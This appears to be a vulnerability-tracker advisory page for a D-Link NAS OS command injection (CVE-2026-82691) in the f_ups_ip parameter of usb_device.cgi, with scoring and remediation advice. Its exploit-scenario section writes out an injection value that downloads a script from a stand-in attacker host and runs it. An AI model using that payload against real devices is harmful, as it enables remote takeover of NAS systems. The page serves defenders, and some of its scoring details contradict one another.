Skip to main content

D-Link DNS NAS CVE-2026-82691

| EUVDEUVD-2026-68485 HIGH
OS Command Injection (CWE-78)
2026-08-31 VulDB GHSA-vgqw-w77q-phfq
8.5
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to D-Link admin web UI
  2. Delivery
    Send crafted POST request to /cgi-bin/usb_device.cgi
  3. Exploit
    Inject shell commands via f_ups_ip parameter
  4. Execution
    CGI handler executes unsanitized input in OS shell
  5. Persist
    Attain arbitrary command execution with device privileges
  6. Impact
    Full NAS compromise and potential LAN pivot

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires authenticated access to the device's web management interface with administrative privileges (PR:H per CVSS 4.0 vector). The specific vulnerable code path is the f_ups_ip argument in HTTP requests to /cgi-bin/usb_device.cgi, which handles UPS (Uninterruptible Power Supply) IP address configuration. The attack is network-delivered (AV:N) and requires no user interaction beyond authentication. The primary limiting factor is the admin credential requirement - exploitation is blocked by strong, non-default credentials and by network controls that restrict management interface access to trusted hosts. Exploitation is NOT limited to a specific non-default configuration of the UPS feature; the CGI endpoint itself is the attack surface. Default credential use (common on D-Link consumer devices) would effectively reduce PR:H to a trivial authentication step.

Impact

The CVSS 4.0 base score of 8.5 reflects a genuine high-severity finding with a nuanced profile: AV:N (network reachable), AC:L (no special conditions), PR:H (admin-level authentication required), and full high-impact scores across vulnerable and subsequent systems (VC/VI/VA/SC/SI/SA all H). The PR:H requirement is the primary risk limiter - exploitation requires valid admin credentials. However, D-Link consumer NAS devices frequently retain default credentials (admin/admin or blank passwords) in real-world deployments, substantially lowering the practical exploitation bar beyond what CVSS PR:H implies. The E:P tag in the CVSS 4.0 threat metric confirms a public proof-of-concept exists, corroborated by the GitHub reference. No CISA KEV listing is present, suggesting active exploitation has not been observed or reported at scale as of analysis. No EPSS data was provided. The subsequent-system impact metrics (SC:H/SI:H/SA:H) indicate potential for lateral movement or impact beyond the NAS itself - consistent with a rooted embedded Linux device on an internal network. Overall: real operational risk for environments running these models with default or weak credentials, attenuated for those enforcing strong auth.

Exploit ScenarioDerived

An attacker with access to the device's web management interface (or who has obtained admin credentials via credential stuffing against a default admin/admin account) sends a crafted HTTP POST request to /cgi-bin/usb_device.cgi with the f_ups_ip parameter set to a value containing shell metacharacters, such as ; wget http://attacker.com/shell.sh -O /tmp/s; sh /tmp/s;. The CGI handler passes the unsanitized value to an OS shell call, executing the injected commands with device-level privileges. A public proof-of-concept demonstrating this technique has been disclosed via GitHub (https://github.com/dxz0069/WAVLINK-WN530H4-Command-Injection-in-set_add_routing/blob/main/DLINK-CMD-005-vulndb.md).

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
1 PoC candidate (unverified) No patch listed yet 2.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Aug 31, 2026

OS command injection in D-Link DNS-320L, DNS-327L, DNS-340L, and DNS-345 NAS devices allows remote authenticated attackers to execute arbitrary operating system commands by manipulating the f_ups_ip argument passed to /cgi-bin/usb_device.cgi. The vulnerability arises from unsanitized user-controlled input being passed directly to an OS shell call (CWE-78) within the CGI handler responsible for USB/UPS device configuration. A public proof-of-concept exploit has been disclosed; no patch has been identified at time of analysis. EPSS data was not provided, but the combination of a network-accessible vector, publicly available exploit, and widespread SMB/home-lab deployment of these NAS models elevates real-world risk.

Earlier versions of this analysis (1)
v1 Aug 31, 2026 - 12:16 CVSS 9.4

OS command injection in D-Link DNS-320L, DNS-327L, DNS-340L and DNS-345 network-attached storage devices (firmware up to 20260717) lets remote attackers execute arbitrary operating-system commands by manipulating the f_ups_ip argument of the /cgi-bin/usb_device.cgi CGI Handler. Publicly available exploit code exists, and the vendor CVSS 4.0 vector (PR:H) indicates privileged access is expected, though the description does not independently confirm the authentication level. No public exploit identified as actively exploited - this is not on CISA KEV at time of analysis.

RemediationAI

No vendor-released patch has been identified at time of analysis. The D-Link website (https://www.dlink.com/) should be monitored for a security advisory or firmware update addressing CVE-2026-82691. As an immediate compensating control, restrict access to the device's web management interface (TCP port 80/443) using firewall rules or VLAN segmentation so that only trusted management hosts can reach the CGI endpoint - this does not eliminate the vulnerability but limits the attacker pool. Change the default admin credentials to a strong, unique password immediately; this directly counters the most likely exploitation path since PR:H is required. If the UPS IP configuration feature is not in use, consider whether the CGI endpoint can be disabled via firmware configuration. Note that network-level restrictions may affect legitimate remote management workflows and should be coordinated with operational teams.

Affected VersionsENISA

DNS-340L 20260717
DNS-320L 20260717
DNS-327L 20260717
DNS-345 20260717

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected component is the CGI handler /cgi-bin/usb_device.cgi on D-Link DNS-series NAS devices, which appears to handle UPS (Uninterruptible Power Supply) IP configuration via the f_ups_ip parameter. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) indicates the parameter is concatenated into a shell command without sufficient sanitization, allowing injection of arbitrary shell metacharacters (e.g., semicolons, backticks, pipes). The affected CPEs - cpe:2.3:a:d-link:dns-320l:*, dns-327l:*, dns-340l:*, dns-345:* - all use wildcard version ranges, indicating all known firmware revisions up to build date 20260717 are affected. These are consumer and SMB-class network-attached storage devices running embedded Linux, where CGI scripts typically execute with root or elevated daemon privileges.

Know when Dns 320l gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 8.5 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P
vuln.today AI 9.1 CRITICAL

Network-accessible CGI endpoint (AV:N, AC:L); admin credentials required (PR:H); scope change to subsequent systems justified by full high subsequent-system impact in CVSS 4.0 source data.

3.1 AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
High

Lifecycle Timeline

4
Analysis Updated
Aug 31, 2026 - 12:28 vuln.today
v2 - CVSS changed
Severity Changed
Aug 31, 2026 - 12:22 NVD
CRITICAL HIGH
CVSS changed
Aug 31, 2026 - 12:22 NVD
9.4 (CRITICAL) 8.5 (HIGH)
CVE Published
Aug 31, 2026 - 11:45 cve.org
CRITICAL 9.4

DescriptionCVE.org

A vulnerability has been found in D-Link DNS-320L, DNS-327L, DNS-340L and DNS-345 up to 20260717. Affected by this issue is some unknown functionality of the file /cgi-bin/usb_device.cgi of the component CGI Handler. Such manipulation of the argument f_ups_ip leads to os command injection. The attack may be performed from remote. The exploit has been disclosed to the public and may be used.

Technical POC Analysis

The vulnerability is an OS command injection, CWE-78, in the D-Link ShareCenter CGI handler cgi/backupmgr/usbdevice.cgi, exposed at /cgi-bin/usbdevice.cgi.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Latest POC

1 PoC candidate from github (unverified)

Sign in to open the public PoC links collected for this CVE.

Executive ViewAI

Why It Matters

D-Link NAS storage devices in the DNS-3xx series-widely deployed in SMBs and remote offices-face unauthorized command execution risk; any authenticated user can exploit a known vulnerability to gain full system control. No vendor patch exists, creating immediate threat to data confidentiality and integrity. Organizations must urgently decide between network isolation strategies or hardware replacement within 30 days.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Implement network segmentation to isolate affected devices on a dedicated VLAN with strict ingress/egress filtering. Restrict administrative access to trusted internal networks or VPN connections only; disable all remote protocols (SSH, web UI) from external or untrusted sources. Enforce strong administrative credentials. Deploy network or host-based monitoring to detect suspicious activity such as command execution, process spawning, or lateral movement attempts. Publicly available exploit code exists-prioritize hardware replacement or service discontinuation within 60 days.

Threat Intelligence Overview

EPSS Score
2.1%
Top 20% exploitable
Prevalence
Medium
popular consumer/SMB NAS line, not enterprise infrastructure
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 2.1%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

64
Low Medium High Critical
KEV: 0
EPSS: +2
CVSS: +42
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2026-4213 HIGH POC
8.8 Mar 16

Stack-based buffer overflow in D-Link DNS storage appliances (DNS-120, DNS-340L, DNS-1200-05 and others) through the /cg

CVE-2026-4214 HIGH POC
8.8 Mar 16

Stack-based buffer overflow in D-Link NAS devices (DNS-120, DNR-202L, DNS-315L, DNS-320 series, DNS-326, DNS-1100-4, and

CVE-2026-4212 HIGH POC
8.8 Mar 16

Stack-based buffer overflow in D-Link DNS NAS devices (DNS-120 through DNS-1550-04) allows authenticated attackers to ac

CVE-2026-4211 HIGH POC
8.8 Mar 16

Stack-based buffer overflow in D-Link DNS and DNR network storage devices allows authenticated remote attackers to execu

CVE-2026-82689 HIGH POC
8.6 Aug 31

OS command injection in D-Link DNS-320L, DNS-327L, DNS-340L, and DNS-345 NAS devices allows a low-privileged remote atta

CVE-2026-5212 HIGH POC
7.4 Mar 31

Stack-based buffer overflow in D-Link NAS devices enables authenticated remote attackers to execute arbitrary code with

CVE-2026-5214 HIGH POC
7.4 Mar 31

Stack-based buffer overflow in D-Link NAS device management interfaces allows authenticated remote attackers to execute

CVE-2026-5213 HIGH POC
7.4 Mar 31

Stack-based buffer overflow in D-Link NAS devices allows authenticated remote attackers to achieve complete system compr

CVE-2026-5211 HIGH POC
7.4 Mar 31

Stack-based buffer overflow in D-Link NAS devices enables remote code execution with high integrity impact for authentic

CVE-2026-5312 MEDIUM POC
5.5 Apr 01

Improper access controls in D-Link network-attached storage devices (DNS-120 through DNS-1550-04, firmware versions up t

CVE-2026-4210 LOW POC
2.1 Mar 16

Command injection in D-Link NAS devices (DNS-320, DNS-327L, DNS-345 and others) through the time_machine.cgi script allo

CVE-2026-4204 LOW POC
2.1 Mar 16

A security vulnerability in A flaw (CVSS 6.3). Risk factors: public PoC available.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy